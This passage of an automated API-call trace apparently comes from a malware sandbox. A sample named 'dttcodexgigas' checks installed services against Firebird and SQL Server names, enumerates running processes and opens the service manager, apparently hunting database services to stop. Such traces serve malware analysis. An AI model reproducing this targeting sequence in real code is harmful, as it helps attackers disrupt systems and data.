lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0186.803] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0186.803] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0186.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0186.803] lstrlenW (lpString="NcbService") returned 10 [0186.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0186.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0186.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0186.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0186.803] lstrlenW (lpString="netprofm") returned 8 [0186.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0186.803] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0186.803] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0186.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0186.803] lstrlenW (lpString="NgcSvc") returned 6 [0186.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0186.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0186.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0186.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0186.803] lstrlenW (lpString="NlaSvc") returned 6 [0186.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0186.803] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0186.803] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0186.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0186.803] lstrlenW (lpString="nsi") returned 3 [0186.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0186.803] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0186.803] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0186.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0186.803] lstrlenW (lpString="PcaSvc") returned 6 [0186.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0186.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0186.804] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0186.804] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0186.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0186.804] lstrlenW (lpString="PlugPlay") returned 8 [0186.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0186.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0186.804] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0186.804] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0186.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0186.804] lstrlenW (lpString="Power") returned 5 [0186.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0186.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0186.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0186.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0186.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0186.804] lstrlenW (lpString="ProfSvc") returned 7 [0186.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0186.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0186.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0186.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0186.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0186.804] lstrlenW (lpString="RpcEptMapper") returned 12 [0186.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0186.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0186.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0186.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0186.804] lstrlenW (lpString="RpcSs") returned 5 [0186.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0186.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0186.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0186.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0186.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0186.804] lstrlenW (lpString="SamSs") returned 5 [0186.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0186.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0186.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0186.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0186.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0186.805] lstrlenW (lpString="Schedule") returned 8 [0186.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0186.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0186.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0186.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0186.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0186.805] lstrlenW (lpString="SecurityHealthService") returned 21 [0186.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0186.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0186.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0186.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0186.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0186.805] lstrlenW (lpString="SENS") returned 4 [0186.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0186.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0186.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0186.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0186.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0186.805] lstrlenW (lpString="ShellHWDetection") returned 16 [0186.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0186.805] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0186.805] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0186.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0186.805] lstrlenW (lpString="Spooler") returned 7 [0186.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0186.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0186.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0186.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0186.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0186.805] lstrlenW (lpString="StateRepository") returned 15 [0186.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0186.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0186.806] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0186.806] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0186.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0186.806] lstrlenW (lpString="SysMain") returned 7 [0186.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0186.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0186.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0186.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0186.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0186.806] lstrlenW (lpString="SystemEventsBroker") returned 18 [0186.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0186.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0186.806] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0186.806] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0186.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0186.806] lstrlenW (lpString="Themes") returned 6 [0186.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0186.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0186.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0186.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0186.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0186.806] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0186.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0186.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0186.806] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0186.806] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0186.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4052988 | out: hHeap=0x420000) returned 1 [0186.806] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x550 [0186.897] Process32FirstW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.897] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0186.898] lstrlenW (lpString="System") returned 6 [0186.898] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0186.898] lstrlenW (lpString="smss.exe") returned 8 [0186.898] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.898] lstrlenW (lpString="csrss.exe") returned 9 [0186.898] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0186.899] lstrlenW (lpString="wininit.exe") returned 11 [0186.899] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0186.899] lstrlenW (lpString="csrss.exe") returned 9 [0186.899] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0186.900] lstrlenW (lpString="winlogon.exe") returned 12 [0186.900] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0186.900] lstrlenW (lpString="services.exe") returned 12 [0186.900] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0186.901] lstrlenW (lpString="lsass.exe") returned 9 [0186.901] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0186.901] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0186.901] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0186.901] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0186.902] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.902] lstrlenW (lpString="svchost.exe") returned 11 [0186.902] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.902] lstrlenW (lpString="svchost.exe") returned 11 [0186.902] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0186.903] lstrlenW (lpString="dwm.exe") returned 7 [0186.903] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.903] lstrlenW (lpString="svchost.exe") returned 11 [0186.903] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.904] lstrlenW (lpString="svchost.exe") returned 11 [0186.904] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.904] lstrlenW (lpString="svchost.exe") returned 11 [0186.904] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.904] lstrlenW (lpString="svchost.exe") returned 11 [0186.904] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.905] lstrlenW (lpString="svchost.exe") returned 11 [0186.905] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.905] lstrlenW (lpString="svchost.exe") returned 11 [0186.905] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.906] lstrlenW (lpString="svchost.exe") returned 11 [0186.906] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.906] lstrlenW (lpString="svchost.exe") returned 11 [0186.906] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.907] lstrlenW (lpString="svchost.exe") returned 11 [0186.907] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.907] lstrlenW (lpString="svchost.exe") returned 11 [0186.907] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0186.907] lstrlenW (lpString="spoolsv.exe") returned 11 [0186.907] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.908] lstrlenW (lpString="svchost.exe") returned 11 [0186.908] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0186.908] lstrlenW (lpString="audiodg.exe") returned 11 [0186.908] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0186.909] lstrlenW (lpString="sihost.exe") returned 10 [0186.909] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0186.909] lstrlenW (lpString="svchost.exe") returned 11 [0186.909] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0186.909] lstrlenW (lpString="taskhostw.exe") returned 13 [0186.910] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0186.910] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0186.910] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0186.910] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0186.910] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0186.911] lstrlenW (lpString="Memory Compression") returned 18 [0186.911] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0186.911] lstrlenW (lpString="explorer.exe") returned 12 [0186.911] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0186.912] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0186.912] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0186.912] lstrlenW (lpString="SearchUI.exe") returned 12 [0186.912] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0186.912] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0186.912] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0186.913] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0186.913] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0186.913] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0186.913] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0186.914] lstrlenW (lpString="dllhost.exe") returned 11 [0186.914] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0186.914] lstrlenW (lpString="dllhost.exe") returned 11 [0186.914] Process32NextW (in: hSnapshot=0x550, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0186.915] CloseHandle (hObject=0x550) returned 1 [0186.915] Sleep (dwMilliseconds=0x1f4) [0187.608] OpenSCManagerW 